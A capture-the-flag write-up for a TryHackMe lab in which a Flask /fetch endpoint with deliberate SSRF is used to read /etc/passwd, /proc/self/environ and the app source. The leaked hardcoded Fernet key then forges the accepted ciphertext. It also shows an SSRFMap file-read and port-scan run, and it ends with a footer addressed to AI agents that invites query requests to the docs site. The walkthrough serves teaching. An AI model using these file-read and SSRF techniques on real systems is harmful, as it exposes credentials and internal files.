# Message to Garcia

{% embed url="<https://tryhackme.com/room/messagetogarcia>" %}

***

## Summary

<details>

<summary>Summary</summary>

In Message to Garcia we begin by enumerating a target hosting a web service on ports 80 and 5000, alongside SSH. The web application exposes multiple endpoints, including `/fetch`, `/backup`, and `/status`. The `/fetch` endpoint accepts user-supplied URLs without validation, enabling local file inclusion via `file://`. Using this, we access sensitive files such as `/proc/self/environ`, revealing the service context, and `/proc/self/cmdline`, confirming that the Flask app runs as `app.py`. Further traversal exposes the full source of `app.py`, its helper `functions.py`, and the `success.html` flag page.

Static analysis of `functions.py` reveals a hardcoded Fernet key and an expected plaintext message required to validate uploaded `.enc` or `.gpg` files. Using these, we craft a valid encrypted payload locally by replicating the backend encryption logic. After encrypting the known message with the discovered key, we upload `message.enc` through the web interface, triggering the application’s success condition. The server validates our ciphertext, sets the challenge token, and reveals the final flag.

</details>

## Recon

We use rustscan `-b 500 -a 10.81.183.107 -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

```
rustscan -b 500 -a 10.81.183.107 -- -sC -sV -Pn
```

<figure><img src="/files/PVEK6PNJkWxS6OE0oXbM" alt=""><figcaption></figcaption></figure>

Among the open ports, we have ports `22` serving `SSH` , `80`, and `5000` serving a web server.

<figure><img src="/files/owW3iDOeNl1dcb7e71SZ" alt=""><figcaption></figcaption></figure>

We visit the web site on port `80` and receive an introduction. We have to find and exploit vulnerabilities in the web application in order to access sensitive data on the server. With the information we obtain, we can then solve the cryptographic challenge.

```
http://10.81.183.107/
```

<figure><img src="/files/0paNAF3obweKCG5aufeQ" alt=""><figcaption></figcaption></figure>

In addition to the main dashboard, we have a `/fetch` endpoint to integrate resources via `http://` or `https://`, but also internal files via `file://`. This is operated here as an obvious feature that allows us to perform local file inclusion or server-side request forgery. Here we see our entry point to access sensitive information.

In addition to these, we also have the `/backup` and `/status` endpoints. We can upload files via the backup endpoint. However, this is not vulnerable to path traversal attacks which in turn would allow, for example, a manipulated `authorized_keys` file to be placed in the `.ssh` folder of a user to whom we have write access in order to gain interactive access to the machine via SSH.

At the `status` endpoint, we can start the SFTP server, or rather, a service is started on port `2222`, which does not appear to be vulnerable.

```
http://10.81.183.107/fetch
```

<figure><img src="/files/zADEMRg787VGca6BfKgY" alt=""><figcaption></figcaption></figure>

## LFI

We try a simple inclusion of the /etc/passwd file and are successful.

```
file:///etc/passwd
```

<figure><img src="/files/YNxbHMrrRDNZyhK7wStV" alt=""><figcaption></figcaption></figure>

Interesting loot can usually be found in `/proc/self/environ` and `/proc/self/cmdline`. This is methodologically, the first thing to look for besides SSH keys.

The files `/proc/self/environ` and `/proc/self/cmdline` often contain valuable loot because they expose the running process’s environment variables and invocation arguments, which frequently leak credentials, API keys, secrets, or internal paths passed at runtime.

From `/proc/self/environ`, we can determine the current user in the context:

```
sftp-msg2g4arc1a
```

```
file:///proc/self/environ
```

<figure><img src="/files/1lrNNKm3fMSiwxoI5Lrj" alt=""><figcaption></figcaption></figure>

In this case, `/proc/self/cmdline` reveals that the service is executed as `python3 app.py`, confirming that the application is a Python script and giving us a clear starting point for locating the source code and understanding the execution context.

```
file:///proc/self/cmdline
```

<figure><img src="/files/te5wyTrrTZ9rKUWb9Xqc" alt=""><figcaption></figcaption></figure>

We assume that `app.py` is running in the home directory of `sftp-msg2g4arc1a` and try to include it. Bingo, we have the source but no secret message or key yet.

```
file:///home/ubuntu/sftp-msg2g4arc1a/app.py
```

<figure><img src="/files/mUvg38zYDDBD4OUM7jKr" alt=""><figcaption></figcaption></figure>

Among the many imports, we also have a custom import of functions. This should also be found in the home directory. We include it as follows. We are successful and find the information needed to answer the first questions of the challenge. Including all information needed to obtain the flag, but more on that later.

```
file:///home/ubuntu/sftp-msg2g4arc1a/functions.py
```

<figure><img src="/files/H118pn8cSJakuPowbFdp" alt=""><figcaption></figcaption></figure>

From `app.py`, we also find he `success.html`, which is shown when the challenge is solved. This will probably reveal the flag.

Flask stores its rendered templates on disk under the application’s `templates/` directory. So we can retrieve the `success.html` from `templates/success.html`. And we have the shortcut to the flag. The intended path will be described further below.

```
file:///home/ubuntu/sftp-msg2g4arc1a/templates/success.html
```

<figure><img src="/files/FOl1P8QVax6C9mPP7MDS" alt=""><figcaption></figcaption></figure>

#### Bonus SSRFMap showcase

Before we continue, here's a quick bonus: the automated check of LFI and SSRF can be done via  SSRFMap. SSRFmap takes a Burp request file as input and a parameter to fuzz. The manual methodological approach is also coverded.

{% embed url="<https://github.com/swisskyrepo/SSRFmap>" %}

We intercept the `/fetch` reuquest and store it to a file called `request.txt`.

<figure><img src="/files/2FCudOtkcPicSe5hNKnU" alt=""><figcaption></figcaption></figure>

We run it like the following, here we pass the intercepted request, the parameter to check - in this case `url` and also define the modes. We try to read file here and perform an enumeration of the available internal services via a portscan.

```
python ssrfmap.py -r request.txt -p url -m readfiles,portscan 
```

<figure><img src="/files/jV7B5RdMOvtcbWj49eUr" alt=""><figcaption></figcaption></figure>

The manual methodological approach is also coverded.

<figure><img src="/files/AzeQlarhOodNV6qq8lpr" alt=""><figcaption></figcaption></figure>

## Source Code Analysis

We continue with the analysis of `app.py`.&#x20;

The `app.py` is the main Flask application that defines all routes, logic, flow for the web service we face on port `80` / `5000`. It handles the encrypted file validation, uploads, a vulnerable SSRF fetch endpoint, management of a sftp service, and a success page where the flag may be revealed.

The main `/` route simply renders the homepage and acts as the entry point for the challenge. It provides access to the upload, backup, fetch, and service control functionality.

This `/upload` endpoint accepts encrypted `.gpg` or `.enc` files, briefly stores them on disk, validates their encrypted contents, and deletes them immediately after processing. If the validation succeeds, a session token is set and the user is redirected to the success page

The `/backup` endpoint implements a upload functionality, but strictly sanitizes filenames using `secure_filename` and enforces path checks to ensure uploads remain inside the designated directory. As a result, path traversal is effectively prevented, despite the comment suggesting vulnerability.

The `/fetch` endpoint fetches user-supplied URLs without proper validation, allowing SSRF, including local file reads.

{% code title="/home/ubuntu/sftp-msg2g4arc1a/app.py" overflow="wrap" lineNumbers="true" expandable="true" %}

```python
import os
import urllib.parse
import urllib.request
from flask import Flask, render_template, redirect, url_for, flash, request, session, jsonify
from sftp_server import sftp_server_instance
from functions import is_valid_gpg_file, ensure_upload_folder, validate_encrypted_message

app = Flask(__name__, static_folder="static")
app.config["UPLOAD_FOLDER"] = "uploads"
app.config["MAX_CONTENT_LENGTH"] = 5 * 1024 * 1024
import secrets
app.secret_key = secrets.token_hex(32)

ensure_upload_folder(app.config["UPLOAD_FOLDER"])

HOME_ROUTE = "/"
HOME_RESPONSE_ROUTE = "/?response"

@app.context_processor
def inject_request():
    return dict(request=request)

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/upload", methods=["POST"])
def upload_file():
    try:
        if "file" not in request.files:
            flash("No file part.", "error")
            return redirect(HOME_RESPONSE_ROUTE)

        file = request.files["file"]

        if file.filename == "":
            flash("No selected file.", "error")
            return redirect(HOME_RESPONSE_ROUTE)

        if not is_valid_gpg_file(file.filename):
            flash("Invalid file type! Only .gpg or .enc files are allowed.", "error")
            return redirect(HOME_RESPONSE_ROUTE)

        filepath = os.path.join(app.config["UPLOAD_FOLDER"], file.filename)
        file.save(filepath)

        with open(filepath, "rb") as f:
            encrypted_data = f.read()

        os.remove(filepath)

        success, message = validate_encrypted_message(encrypted_data)
        if success:
            # Set a session token to verify they solved the challenge
            import secrets
            session['challenge_solved'] = secrets.token_hex(16)
            return redirect(url_for("success"))
        else:
            flash(f'{message}', "error")

        return redirect(HOME_RESPONSE_ROUTE)
    except Exception as e:
        print(f"[ERROR] Exception in upload_file: {e}")
        import traceback
        traceback.print_exc()
        flash(f"Error processing file: {str(e)}", "error")
        return redirect(HOME_RESPONSE_ROUTE)

# Vulnerable file upload endpoint with directory traversal
@app.route("/backup", methods=["GET", "POST"])
def backup_file():
    if request.method == "GET":
        return render_template("backup.html")
    
    if "file" not in request.files:
        flash("No file part.", "error")
        return redirect("/backup")

    file = request.files["file"]
    raw_name = request.form.get("filename", file.filename)

    if file.filename == "":
        flash("No selected file.", "error")
        return redirect("/backup")

    # Hard restrict to simple filenames (no directories, no traversal)
    from werkzeug.utils import secure_filename

    safe_name = secure_filename(raw_name)
    if not safe_name or "/" in safe_name or "\\" in safe_name or ".." in safe_name:
        flash("Invalid filename.", "error")
        return redirect("/backup")

    upload_root = os.path.abspath(app.config["UPLOAD_FOLDER"])
    os.makedirs(upload_root, exist_ok=True)

    filepath = os.path.abspath(os.path.join(upload_root, safe_name))

    # Ensure final path stays within uploads
    if not filepath.startswith(upload_root + os.sep):
        flash("Invalid path.", "error")
        return redirect("/backup")

    file.save(filepath)
    
    flash(f"File uploaded successfully to: {filepath}", "success")
    return redirect("/backup")

# SSRF endpoint for "fetching resources"
@app.route("/fetch", methods=["GET", "POST"])
def fetch_resource():
    if request.method == "GET":
        return render_template("fetch.html")
    
    url = request.form.get("url", "")
    
    if not url:
        flash("Please provide a URL to fetch.", "error")
        return redirect("/fetch")
    
    try:
        # Vulnerable SSRF - no URL validation
        if url.startswith("file://"):
            # Handle local file access
            file_path = url[7:]  # Remove "file://" prefix
            
            # Handle relative paths properly
            if file_path.startswith('./'):
                file_path = file_path[2:]  # Remove './' prefix
            elif file_path.startswith('/'):
                # Absolute path - use as is
                pass
            else:
                # Relative path without './' - treat as relative
                pass
                
            print(f"[DEBUG] Trying to read file: {file_path}")
            print(f"[DEBUG] Current working directory: {os.getcwd()}")
            print(f"[DEBUG] Full path will be: {os.path.abspath(file_path)}")
            try:
                with open(file_path, 'r') as f:
                    content = f.read()
                print(f"[DEBUG] Successfully read {len(content)} characters")
                flash(f"File content:\n{content}", "success")
            except UnicodeDecodeError:
                print(f"[DEBUG] Unicode decode error for file: {file_path}")
                flash(f"Error: Unable to read binary file '{file_path}'. File contains non-text data.", "error")
            except FileNotFoundError:
                print(f"[DEBUG] File not found: {file_path}")
                flash(f"Error: File '{file_path}' not found.", "error")
            except PermissionError:
                print(f"[DEBUG] Permission denied: {file_path}")
                flash(f"Error: Permission denied accessing '{file_path}'.", "error")
            except Exception as e:
                print(f"[DEBUG] Error reading file: {str(e)}")
                flash(f"Error reading file: {str(e)}", "error")
        else:
            # Handle HTTP/HTTPS requests
            response = urllib.request.urlopen(url)
            content = response.read().decode('utf-8')[:1000]  # Limit content length
            flash(f"Response content (first 1000 chars):\n{content}", "success")
    except Exception as e:
        flash(f"Error fetching resource: {str(e)}", "error")
    
    return redirect("/fetch")

@app.route("/status")
def status():
    status = "Running" if sftp_server_instance.running else "Stopped"
    return render_template("status.html", status=status)

@app.route("/start")
def start_server():
    sftp_server_instance.start()
    return redirect(url_for("index"))

@app.route("/stop")
def stop_server():
    sftp_server_instance.stop()
    return redirect(url_for("index"))
@app.route("/success")
def success():
    # Check if they actually solved the challenge
    if 'challenge_solved' not in session:
        flash("Access denied. Complete the challenge first.", "error")
        return redirect(url_for("index"))
    
    # Clear the token after viewing (one-time use)
    session.pop('challenge_solved', None)
    return render_template("success.html")

if __name__ == "__main__":
    host = "0.0.0.0" if os.getenv("FLASK_ENV") == "production" else "127.0.0.1"
    # Disable debug mode for security (prevents RCE via SSRF+debug)
    debug_mode = False
    app.run(host=host, port=5000, debug=debug_mode)
```

{% endcode %}

This `functions.py` validates uploaded `.gpg` or `.enc` files by decrypting their contents with a fixed Fernet key and checking whether the plaintext exactly matches a predefined secret message. If decryption fails or the message differs even slightly, the file is rejected as invalid.

This file ultimately reveals all the information needed to answer the first questions. The first thing we notice is that `Fernet` was used as the encryption algorithm. After a quick search, we determine that this is a `symmetric` encryption algorithm. We can see the key used directly in the sixth line. In the ninth tent, we also see the expected message.

{% embed url="<https://cryptography.io/en/latest/fernet/>" %}

{% code title="/home/ubuntu/sftp-msg2g4arc1a/functions.py" overflow="wrap" lineNumbers="true" expandable="true" %}

```python
import os
from cryptography.fernet import Fernet

# The encryption key (in a real scenario, this would be derived from the private key)
# For this challenge, we'll use a fixed key
ENCRYPTION_KEY = b'REDACTED'
cipher = Fernet(ENCRYPTION_KEY)

EXPECTED_MESSAGE = "Garcia, it seems I've cracked the code!! I need you to meet me at coordinates: 40.4168° N, 3.7038° W. The cipher is: TRACK"

def is_valid_gpg_file(filename):
    """Check if file has .gpg or .enc extension"""
    return filename.lower().endswith((".gpg", ".enc"))

def ensure_upload_folder(folder):
    os.makedirs(folder, exist_ok=True)

def validate_encrypted_message(encrypted_data: bytes):
    """Decrypts the uploaded file and checks if it matches the expected message."""
    try:
        print(f"[*] Attempting to decrypt message...")
        decrypted = cipher.decrypt(encrypted_data)
        plaintext = decrypted.decode('utf-8').strip()
        
        print(f"[+] Decrypted message: {plaintext}")
        print(f"[DEBUG] Expected: {EXPECTED_MESSAGE}")
        print(f"[DEBUG] Match: {plaintext == EXPECTED_MESSAGE}")
        
        if plaintext == EXPECTED_MESSAGE:
            return True, "Message is valid."
        else:
            return False, "Message content does not match."
    except Exception as e:
        print(f"[-] Decryption failed: {e}")
        return False, f"Decryption failed: Invalid encryption or corrupted file."
```

{% endcode %}

## Obtain Flag - The Indented Way

All we have to do now is slightly modify the script to write the `message.enc` to our system during execution. And then upload the resulting `message.enc`.

{% code title="craft\_message.py" overflow="wrap" lineNumbers="true" %}

```python
from cryptography.fernet import Fernet

# Key taken directly from functions.py
ENCRYPTION_KEY = b'REDACTED'
cipher = Fernet(ENCRYPTION_KEY)

# Exact message expected by the backend (must match perfectly)
MESSAGE = (
    "Garcia, it seems I've cracked the code!! "
    "I need you to meet me at coordinates: 40.4168° N, 3.7038° W. "
    "The cipher is: TRACK"
)

# Encrypt
encrypted_data = cipher.encrypt(MESSAGE.encode())

# Write to file
with open("message.enc", "wb") as f:
    f.write(encrypted_data)

print("[+] message.enc created successfully")
```

{% endcode %}

We generate the encrypted message...

```
python craft_message.py
```

<figure><img src="/files/YuwvKgXtnnADRdEx1xXU" alt=""><figcaption></figcaption></figure>

... and submit it to the panel. We retrieve the flag.

<figure><img src="/files/NyNc4eipKmyAgoNWGn8D" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xb0b.gitbook.io/writeups/tryhackme/2026/message-to-garcia.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
